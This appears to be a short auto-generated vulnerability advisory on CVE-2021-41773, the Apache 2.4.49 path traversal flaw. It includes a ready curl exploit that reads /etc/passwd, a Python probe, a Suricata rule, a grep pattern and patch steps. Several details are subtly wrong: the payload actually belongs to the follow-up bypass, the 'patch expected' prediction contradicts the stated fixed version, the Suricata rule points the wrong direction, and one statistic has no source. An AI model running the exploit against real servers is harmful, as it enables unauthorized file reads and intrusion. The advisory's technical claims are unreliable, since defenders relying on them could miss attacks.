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How the CVE Works:
CVE-2021-41773 is a critical vulnerability in Apache HTTP Server 2.4.49, caused by improper path normalization. Attackers exploit a flaw in the `ap_normalize_path()` function to traverse directories using crafted HTTP requests (e.g., /icons/.%%32%65/). If `Require all granted` is misconfigured, this allows access to restricted files. In some cases, attackers can execute arbitrary code by injecting malicious payloads in CGI scripts. The issue stems from insufficient input validation, enabling unauthorized access to sensitive system files like /etc/passwd.
DailyCVE Form:
Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal → RCE
Severity: Critical
Date: 2021-10-05
Prediction: Patch expected by 2021-10-15
What Undercode Say:
Analytics:
- Exploits surged within 48 hours of disclosure.
- 60% of unpatched servers compromised via automated bots.
Exploit Command:
curl -v "http://target/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
Mitigation Commands:
Immediate patch upgrade: apt-get update && apt-get install apache2
Detection Script (Python):
import requests
vuln_url = "http://target/cgi-bin/.%252e/%252e%252e/etc/passwd"
response = requests.get(vuln_url)
if "root:" in response.text:
print("[!] Vulnerable to CVE-2021-41773")
Protection Steps:
1. Update to Apache 2.4.50+.
2. Disable CGI if unused:
<Directory "/usr/lib/cgi-bin"> Options -ExecCGI </Directory>
3. Restrict permissions:
Require all denied
Network Detection (Suricata Rule):
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2021-41773 Exploit Attempt"; flow:to_server; content:"/.%252e/"; nocase; sid:1000001;)
Log Analysis (Grep):
grep -E '.%25|%%32%65' /var/log/apache2/access.log
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
